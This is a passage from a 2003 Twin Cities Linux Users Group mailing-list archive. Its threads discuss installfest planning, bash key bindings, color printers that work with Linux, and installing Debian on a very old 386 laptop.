seconds. > Just for the record, Joe Hesse (joe.hesse@saintpaul.edu) said he could > host *any* *kind* of event for the TCLUG at the Saint Paul Tech College, > next to the basilica. > *Any* kind? I'm thinking "tractor pull" here. -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From peter-clark at bethel.edu Fri Aug 8 16:01:23 2003 From: peter-clark at bethel.edu (Peter Clark) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] Next Installfest In-Reply-To: <3F340E6F.3030901@eworld3.net> References: <1060322251.db183940kcbnac@myrealbox.com> <3F340E6F.3030901@eworld3.net> Message-ID: <200308081601.23024.peter-clark@bethel.edu> On Friday 08 August 2003 03:56 pm, Rick Meyerhoff wrote: > I have been working on a "Install Fest How-To" since I did not find > anything valuable on the net. If you find something let me know by > replying to this post. For all of life's questions, there's Google: http://www.google.com/search?q=installfest%20howto :) :Peter _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Fri Aug 8 16:40:54 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] Next Installfest In-Reply-To: <20030808211619.GA29743@mail.el-swifto.com> References: <1060322251.db183940kcbnac@myrealbox.com> <3F340E6F.3030901@eworld3.net> <20030808211619.GA29743@mail.el-swifto.com> Message-ID: <3F3418E6.8080603@eworld3.net> That's odd, why didn't I get these results last week? I will take a look, thanks. John J. Trammell wrote: > On Fri, Aug 08, 2003 at 03:56:15PM -0500, Rick Meyerhoff wrote: > >>I have been working on a "Install Fest How-To" since I did not find >>anything valuable on the net. If you find something let me know by >>replying to this post. >> > > > http://www.google.com/search?q=linux+installfest+howto > > Results 1 - 10 of about 2,270. Search took 0.08 seconds. > > >>Just for the record, Joe Hesse (joe.hesse@saintpaul.edu) said he could >>host *any* *kind* of event for the TCLUG at the Saint Paul Tech College, >>next to the basilica. >> > > > *Any* kind? I'm thinking "tractor pull" here. > I don't see the relationship between Linux and tractor pulls. ;-) -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Fri Aug 8 17:26:44 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] Next Installfest In-Reply-To: <3F3418E6.8080603@eworld3.net> References: <1060322251.db183940kcbnac@myrealbox.com> <3F340E6F.3030901@eworld3.net> <20030808211619.GA29743@mail.el-swifto.com> <3F3418E6.8080603@eworld3.net> Message-ID: <3F3423A4.7060201@eworld3.net> Rick Meyerhoff wrote: > That's odd, why didn't I get these results last week? I will take a > look, thanks. I did find some pages with some good information but I have not found a How-To that is: complete, well written, maintained and generic. I will have to spend more time stealing info from these other pages so I won't be posting my draft as promised. > > John J. Trammell wrote: > >> On Fri, Aug 08, 2003 at 03:56:15PM -0500, Rick Meyerhoff wrote: >> >>> I have been working on a "Install Fest How-To" since I did not find >>> anything valuable on the net. If you find something let me know by >>> replying to this post. >>> >> >> >> http://www.google.com/search?q=linux+installfest+howto >> >> Results 1 - 10 of about 2,270. Search took 0.08 seconds. >> >> >>> Just for the record, Joe Hesse (joe.hesse@saintpaul.edu) said he >>> could host *any* *kind* of event for the TCLUG at the Saint Paul Tech >>> College, next to the basilica. >>> >> >> >> *Any* kind? I'm thinking "tractor pull" here. >> > I don't see the relationship between Linux and tractor pulls. ;-) > -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adam at askewview.net Fri Aug 8 20:29:40 2003 From: adam at askewview.net (Adam) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] I'm tempted to do this Message-ID: <2426.64.83.200.253.1060392580.squirrel@webmail.askewview.net> http://www.perlguy.net/sco.html _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jhoffoss at minn.tc Thu Aug 7 12:19:56 2003 From: jhoffoss at minn.tc (John Hoffoss) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] BASH pg-up/pg-dn partial completion Message-ID: <20030807171956.GA20285@minn.tc> My gentoo laptop allows me to begin typing a command and use pg-up/pg-dn to cycle through my history of commands that matches the typed pattern. As an example, I can type "ls" and press pg-up and if the last list command I did was "ls -la /etc/postfix" it will complete that for me. My server does not do this though, it just types a tilde. (~) I can't remember if I altered my laptop to get that behavior or not, but does anyone know where I might look to turn that on? -- ______________________________________________________ |o John Hoffoss Page 1/1 o| |o System Support Analyst, University of Minnesota - o| |o Facilities Management - Information Services o| |o [work] hoffossj@facm.umn.edu [work] 612.626.7628 o| |o [personal] hoff0438@umn.edu [mobile] 612.867.1432 o| |o [personal] john@hoffoss.com [inet] http://minn.tc o| |o o| |o Hands-free mobile phones: blurring the line o| |o between technology and schizophrenia _ _ _ _o| |o _ _ _ _ _ / `-' `-' `-' `. |o _ _ _ _ / `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jhoffoss at minn.tc Thu Aug 7 12:00:42 2003 From: jhoffoss at minn.tc (John Hoffoss) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] scripting In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D366F@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D366F@BPEXU1VM2.andersencorp.com> Message-ID: <20030807170042.GA9797@minn.tc> I would go here: http://www.tldp.org/LDP/abs/html/ and start in section 2.3 and 2.4. I would also suggest you try to write the script more of the form "renameScript filename" (then you should be able to use BASH's partial-name completeion too. John On Thu, Aug 07, 2003 at 11:35:38AM -0500, Lansing, Dan wrote: > Sorry....i want to use bash scripting for this....should have had that in original message if it is even relevant > > Dan Lansing > > -----Original Message----- > From: Lansing, Dan > Sent: Thursday, August 07, 2003 11:34 AM > To: tclug-list@mn-linux.org > Subject: [TCLUG] scripting > > I am very new to scripting....i want to write a script that asks me to enter a variable and the plugs that into a command > > For example I run test.sh > > And it asks me for a file name > > I enter 'file' and it renames 'file' to 'file1' > > How can I do this? > > Anyone know of any good sites to get scripting tutorials? > > thanks > > Dan Lansing _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Sat Aug 9 12:07:06 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] BASH pg-up/pg-dn partial completion In-Reply-To: <20030807171956.GA20285@minn.tc>; from jhoffoss@minn.tc on Thu, Aug 07, 2003 at 12:19:56PM -0500 References: <20030807171956.GA20285@minn.tc> Message-ID: <20030809120706.A14685@thinkunix.net> John Hoffoss wrote: > My gentoo laptop allows me to begin typing a command and use pg-up/pg-dn > to cycle through my history of commands that matches the typed pattern. > As an example, I can type "ls" and press pg-up and if the last list > command I did was "ls -la /etc/postfix" it will complete that for me. My > server does not do this though, it just types a tilde. (~) > > I can't remember if I altered my laptop to get that behavior or not, but > does anyone know where I might look to turn that on? not sure about gentoo, but under RH, Debian, and Slackware, /etc/inputrc sets up global key mappings. try /etc/inputrc or $HOME/.inputrc see also: man bash, specifically look for the INPUTRC section. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sat Aug 9 12:46:18 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] BASH pg-up/pg-dn partial completion References: <20030807171956.GA20285@minn.tc> Message-ID: <001a01c35e9e$23199a30$0201a8c0@brinstar> John Hoffoss writes: > My gentoo laptop allows me to begin typing a command and use > pg-up/pg-dn to cycle through my history of commands that matches the > typed pattern. As an example, I can type "ls" and press pg-up and if > the last list command I did was "ls -la /etc/postfix" it will > complete that for me. My server does not do this though, it just > types a tilde. (~) Are you sure you are in bash? Run "bash". You might need to install it. You could also have the wrong terminal settings. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jhoffoss at minn.tc Fri Aug 8 10:03:56 2003 From: jhoffoss at minn.tc (John Hoffoss) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] Next Installfest In-Reply-To: <1060322251.db183940kcbnac@myrealbox.com> References: <1060322251.db183940kcbnac@myrealbox.com> Message-ID: <20030808150356.GA6821@minn.tc> What about doing one in EE/CS at the U of M? If it's into September, you've got the freshman crowd and all the other students coming back to come feed the penguin. just an idea. (This was my first attended installfest, four years ago now. I think the ACM ran it then. Not sure.) John On Fri, Aug 08, 2003 at 12:57:31AM -0500, K B wrote: > I know at the July installfest I heard ideas for another one in September, at a Toro place. What's the status on that? > > Say, we're gonna need network backbone stuff, right? *Jumps up and down, raising hands, shouting* I've got the stuff! > > I have, currently, in my possession: > > 9 Bay Networks Chassis 5000 (6 new, 3 used) > They are loaded...gigabit fiber and ethernet, 10 and 10/100...total, like 500+ 10/100 ports. They are for sale, if anybody's interested, contact me outside the mailing list. > > I'm looking to sell them, so I make no guarantees I'll have them come installfest time, but I will probably be picking up more. Also, if anybody's looking for any type of networking hardware, let me know. I have a source for much used hardware, both in computers and networking. Printers too. > > Keith Bachman -- ______________________________________________________ |o John Hoffoss Page 1/1 o| |o System Support Analyst, University of Minnesota - o| |o Facilities Management - Information Services o| |o [work] hoffossj@facm.umn.edu [work] 612.626.7628 o| |o [personal] hoff0438@umn.edu [mobile] 612.867.1432 o| |o [personal] john@hoffoss.com [inet] http://minn.tc o| |o o| |o Hands-free mobile phones: blurring the line o| |o between technology and schizophrenia _ _ _ _o| |o _ _ _ _ _ / `-' `-' `-' `. |o _ _ _ _ / `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From larrychisholm at comcast.net Sat Aug 9 14:07:24 2003 From: larrychisholm at comcast.net (Larry Chisholm) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] Color Printers: Message-ID: <3F35466C.000017.01344@home-3bqy5ht5fr> Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: image/jpeg Size: 10501 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030809/2d47cd2f/attachment.jpe From scot+tcluggen at thinkunix.net Sat Aug 9 14:40:18 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] Color Printers: In-Reply-To: <3F35466C.000017.01344@home-3bqy5ht5fr>; from larrychisholm@comcast.net on Sat, Aug 09, 2003 at 02:07:24PM -0500 References: <3F35466C.000017.01344@home-3bqy5ht5fr> Message-ID: <20030809144018.A25778@thinkunix.net> Larry Chisholm wrote: > Would anyone care to share their thoughts on what color printers work the > best with linux? I now have a lexmark and as you know there are no good > drivers for that one. I have an older HP Deskjet 600C that works fine with Linux. It's hooked to an older RH box which uses the old lpr driver and is shared via samba to a window box. Color quality is pretty good printing from either linux or windows, although I wouldn't want to try to print photos on it. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jreuter at reuter-engineering.com Sat Aug 9 17:07:22 2003 From: jreuter at reuter-engineering.com (Jon V. Reuter) Date: Mon Jan 17 12:40:12 2005 Subject: [TCLUG] Color Printers: References: <3F35466C.000017.01344@home-3bqy5ht5fr> Message-ID: <3F357099.2BA928E4@reuter-engineering.com> I've found this be a good link. http://www.linuxprinting.org/printer_list.cgi Jon Reuter Larry Chisholm wrote: > Would anyone care to share their thoughts on what color printers work the best with linux? I now have a lexmark and as you know there are no good drivers for that one.Thank You. Larry Chisholm "A Man of True Leisure" larrychisholm@comcast.net > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sat Aug 9 18:16:12 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:12 2005 Subject: [TCLUG] Color Printers: References: <3F35466C.000017.01344@home-3bqy5ht5fr> <20030809144018.A25778@thinkunix.net> Message-ID: <001601c35ecc$39d7f720$6501a8c0@isd.net> I have an HP 600 series and it works great! I also have an HP 700 series BUT don't use a 700 series if the printer will be on a network because these machines have issues with network connectivity. Example; HP 700 series connected to any parallel port (jet direct or to a machine) the 700 print driver on a remote machine can't understand network communication to the 700. This happens on Windows and Linux. ----- Original Message ----- From: "Scot Jenkins" To: Sent: Saturday, August 09, 2003 2:40 PM Subject: Re: [TCLUG] Color Printers: > Larry Chisholm wrote: > > Would anyone care to share their thoughts on what color printers work the > > best with linux? I now have a lexmark and as you know there are no good > > drivers for that one. > > I have an older HP Deskjet 600C that works fine with Linux. It's hooked > to an older RH box which uses the old lpr driver and is shared via samba > to a window box. Color quality is pretty good printing from either > linux or windows, although I wouldn't want to try to print photos on it. > -- > scot > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Sat Aug 9 18:32:52 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:12 2005 Subject: [TCLUG] Color Printers: In-Reply-To: <3F35466C.000017.01344@home-3bqy5ht5fr> References: <3F35466C.000017.01344@home-3bqy5ht5fr> Message-ID: <20030809183252.75805d5e.sfertch@real-time.com> On Sat, 9 Aug 2003 14:07:24 -0500 (Central Daylight Time) "Larry Chisholm" wrote: > Would anyone care to share their thoughts on what color printers work > the best with linux? I now have a lexmark and as you know there are no > good drivers for that one. > Thank You. > I use an HP 960c color deskjet that's connected to an HP jet direct 170X. If it's going to be networked, be certain to look for which ones are capable for this. Not all are, I had to return an HP 720 (I think) because it wasn't network capable, nor very Linux frienly. The 960c works perfect under Linux. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sat Aug 9 19:28:16 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:12 2005 Subject: [TCLUG] Color Printers: References: <3F35466C.000017.01344@home-3bqy5ht5fr> <20030809183252.75805d5e.sfertch@real-time.com> Message-ID: <000601c35ed6$4b16bee0$6501a8c0@isd.net> Like I said the whole 700 series is not networkable (is that a word?) :o) ----- Original Message ----- From: "Shawn" To: Sent: Saturday, August 09, 2003 6:32 PM Subject: Re: [TCLUG] Color Printers: > On Sat, 9 Aug 2003 14:07:24 -0500 (Central Daylight Time) > "Larry Chisholm" wrote: > > > Would anyone care to share their thoughts on what color printers work > > the best with linux? I now have a lexmark and as you know there are no > > good drivers for that one. > > Thank You. > > > > > I use an HP 960c color deskjet that's connected to an HP jet direct 170X. If it's going to be networked, be certain to look for which ones are capable for this. Not all are, I had to return an HP 720 (I think) because it wasn't network capable, nor very Linux frienly. > > The 960c works perfect under Linux. > -- > Shawn > > The difficult we do today; the impossible take a little longer. > > Ne Obliviscaris -- "Forget Not" > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From larrychisholm at comcast.net Sat Aug 9 19:25:37 2003 From: larrychisholm at comcast.net (Larry Chisholm) Date: Mon Jan 17 12:40:12 2005 Subject: [TCLUG] Color Printers: References: <20030809183252.75805d5e.sfertch@real-time.com> Message-ID: <3F359101.000001.01072@home-3bqy5ht5fr> Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... 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Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Sun Aug 10 00:25:06 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) Message-ID: <20030810052506.GA9117@mail.el-swifto.com> Hi all: Just a quick note to let you all know about my success installing Debian/woody on an old 386 laptop I got from my uncle. The trick I used to make the install work pretty much followed the trick from the 4-MB-HOWTO, but I took it to the next step and used a null-modem SLIP connection to upload the rest of the install media to the laptop (no eth0). Even so the install b0rked (for reasons unknown; out of memory perhaps?), but not before I had a bootable system. After that, a little dpkg magic fixed everything up. I can hardly wait to install a 2.6 kernel on it! :-) J -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Sat Aug 9 22:23:03 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Slightly OT: Image Recog Message-ID: <3F35BA97.8040702@myrealbox.com> I've got a need for a program (windows or Linux based, but I need IE to run...maybe use WINE?) that can take an image from a web page, and automatically tell me how many squares are in it. (Black background, white squares) then go back and click on a specific link within the original web page. Anybody know of any programs that have this capability, or could be, with a little tweaking? Thanks! Keith Bachman _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From loren at lorenburlingame.com Sun Aug 10 08:12:35 2003 From: loren at lorenburlingame.com (Loren H. Burlingame) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) In-Reply-To: <20030810052506.GA9117@mail.el-swifto.com> References: <20030810052506.GA9117@mail.el-swifto.com> Message-ID: <3F3644C3.6030408@lorenburlingame.com> John J. Trammell wrote: >Hi all: > >Just a quick note to let you all know about my success installing >Debian/woody on an old 386 laptop I got from my uncle. > >The trick I used to make the install work pretty much followed the >trick from the 4-MB-HOWTO, but I took it to the next step and used >a null-modem SLIP connection to upload the rest of the install media >to the laptop (no eth0). Even so the install b0rked (for reasons >unknown; out of memory perhaps?), but not before I had a bootable >system. After that, a little dpkg magic fixed everything up. > >I can hardly wait to install a 2.6 kernel on it! :-) > >J > > > I hereby dub you "Nerd of the week" I once tried to install slack (I think 7) on a 386 desktop but my patience ran out when I ran into memory problems _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Sun Aug 10 09:11:04 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Slightly OT: Image Recog In-Reply-To: <3F35BA97.8040702@myrealbox.com> References: <3F35BA97.8040702@myrealbox.com> Message-ID: <20030810091104.3787213d.sfertch@real-time.com> On Sat, 09 Aug 2003 22:23:03 -0500 K B wrote: > I've got a need for a program (windows or Linux based, but I need IE > to run...maybe use WINE?) that can take an image from a web page, and > automatically tell me how many squares are in it. (Black background, > white squares) then go back and click on a specific link within the > original web page. Anybody know of any programs that have this > capability, or could be, with a little tweaking? Thanks! > Can't say I've heard of a program such as this. Out of curiosity, what would you use something like it for? As to IE, I'm not certain how well it runs under WINE, never looked into. But Codeweaver has an office plugin that allows it to run (not entirely functional*) along with MS Office and such. Or, you can go all out and buy VMWare. *I tried Codeweaver's plugin for use with apps that ran inside of IE, and it failed miserably. Base browser good, apps running thru web interface bad. I reported it to them when I tried it when it first came out, haven't gone back. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From krblack at penguinpackets.com Sun Aug 10 11:29:44 2003 From: krblack at penguinpackets.com (Kelly Black) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) In-Reply-To: <3F3644C3.6030408@lorenburlingame.com> References: <20030810052506.GA9117@mail.el-swifto.com> <3F3644C3.6030408@lorenburlingame.com> Message-ID: <1060532984.756.4.camel@pokey.penguinpackets.com> On Sun, 2003-08-10 at 08:12, Loren H. Burlingame wrote: > I hereby dub you "Nerd of the week" > > I once tried to install slack (I think 7) on a 386 desktop but my > patience ran out when I ran into memory problems > Quick, put a web server on it and post the link in a story on Slashdot so we can test the install :-) Kelly Black KB0GBJ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at poptix.net Sun Aug 10 02:37:42 2003 From: poptix at poptix.net (Matthew S. Hallacy) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Slightly OT: Image Recog In-Reply-To: <3F35BA97.8040702@myrealbox.com> References: <3F35BA97.8040702@myrealbox.com> Message-ID: <20030810073742.GV9224@techmonkeys.org> On Sat, Aug 09, 2003 at 10:23:03PM -0500, K B wrote: > I've got a need for a program (windows or Linux based, but I need IE to > run...maybe use WINE?) that can take an image from a web page, and > automatically tell me how many squares are in it. (Black background, > white squares) then go back and click on a specific link within the > original web page. Anybody know of any programs that have this > capability, or could be, with a little tweaking? Thanks! > Sounds like you're trying to defeat one of those dynamic image generation pages that are meant to prevent automated programs from clicking. > Keith Bachman -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Sun Aug 10 13:31:36 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) In-Reply-To: <1060532984.756.4.camel@pokey.penguinpackets.com> References: <20030810052506.GA9117@mail.el-swifto.com> <3F3644C3.6030408@lorenburlingame.com> <1060532984.756.4.camel@pokey.penguinpackets.com> Message-ID: <20030810183136.GA12861@mail.el-swifto.com> On Sun, Aug 10, 2003 at 11:29:44AM -0500, Kelly Black wrote: > On Sun, 2003-08-10 at 08:12, Loren H. Burlingame wrote: > > I hereby dub you "Nerd of the week" > > > > I once tried to install slack (I think 7) on a 386 desktop but my > > patience ran out when I ran into memory problems > > > > Quick, put a web server on it and post the link in a story on Slashdot > so we can test the install :-) > Yeah, I just did that a couple of minutes ago! Pretty neat, being the f&6_^DG@? NO CARRIER _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Sun Aug 10 15:42:28 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) In-Reply-To: <20030810052506.GA9117@mail.el-swifto.com> References: <20030810052506.GA9117@mail.el-swifto.com> Message-ID: <3F36AE34.9080402@eworld3.net> We have had people come to install fests trying to get old machines to be useful. What resources did you find helpful? Is there a web site or two that is dedicated to this subject? John J. Trammell wrote: > Hi all: > > Just a quick note to let you all know about my success installing > Debian/woody on an old 386 laptop I got from my uncle. > > The trick I used to make the install work pretty much followed the > trick from the 4-MB-HOWTO, but I took it to the next step and used > a null-modem SLIP connection to upload the rest of the install media > to the laptop (no eth0). Even so the install b0rked (for reasons > unknown; out of memory perhaps?), but not before I had a bootable > system. After that, a little dpkg magic fixed everything up. > > I can hardly wait to install a 2.6 kernel on it! :-) > > J > -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Sun Aug 10 16:59:12 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) In-Reply-To: <3F36AE34.9080402@eworld3.net> References: <20030810052506.GA9117@mail.el-swifto.com> <3F36AE34.9080402@eworld3.net> Message-ID: <20030810215912.GA17506@mail.el-swifto.com> On Sun, Aug 10, 2003 at 03:42:28PM -0500, Rick Meyerhoff wrote: > We have had people come to install fests trying to get old machines to > be useful. What resources did you find helpful? Is there a web site or > two that is dedicated to this subject? > The 4MB Laptop HOWTO (http://tldp.org/HOWTO/4mb-Laptops.html) gave me the basic ideas I needed to do this. Even so I really wouldn't recommend it. I doubt there's enough time at an installfest to complete an install like this anyhow. I think this problem is self-selecting anyhow--anyone who could put a machine like that to use would have the know-how to install Linux on it, and conversely. Why waste time on the install for someone who can't do without a GUI? -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sun Aug 10 20:56:34 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) References: <20030810052506.GA9117@mail.el-swifto.com> <3F36AE34.9080402@eworld3.net> <20030810215912.GA17506@mail.el-swifto.com> Message-ID: <000a01c35fab$cb85dd60$6501a8c0@isd.net> I have an AST Bravo NB-RC laptop CPU = 486/33 Color RAM = 20 mb HDD = 190 mb VID = Chips & Technologies 65530 FDD = 1.44 Network = Xircom 10 mbt Zip Drive = Parallel Port 100 mb. Any chance that I could install Linux on this and get X going with 190 mb of disk? Just enough to get network, zipdrive, and maybe X running. ----- Original Message ----- From: "John J. Trammell" To: Sent: Sunday, August 10, 2003 4:59 PM Subject: Re: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) > On Sun, Aug 10, 2003 at 03:42:28PM -0500, Rick Meyerhoff wrote: > > We have had people come to install fests trying to get old machines to > > be useful. What resources did you find helpful? Is there a web site or > > two that is dedicated to this subject? > > > > The 4MB Laptop HOWTO (http://tldp.org/HOWTO/4mb-Laptops.html) gave > me the basic ideas I needed to do this. Even so I really wouldn't > recommend it. I doubt there's enough time at an installfest to > complete an install like this anyhow. > > I think this problem is self-selecting anyhow--anyone who could put > a machine like that to use would have the know-how to install Linux > on it, and conversely. Why waste time on the install for someone who > can't do without a GUI? > > -- > trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 > Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From krblack at penguinpackets.com Sun Aug 10 22:29:10 2003 From: krblack at penguinpackets.com (Kelly Black) Date: Mon Jan 17 12:40:13 2005 Subject: [TCLUG] Debian/woody on i386 laptop (8 MB RAM, 120 MB HD) In-Reply-To: <000a01c35fab$cb85dd60$6501a8c0@isd.net> References: <20030810052506.GA9117@mail.el-swifto.com> <3F36AE34.9080402@eworld3.net> <20030810215912.GA17506@mail.el-swifto.com> <000a01c35fab$cb85dd60$6501a8c0@isd.net> Message-ID: 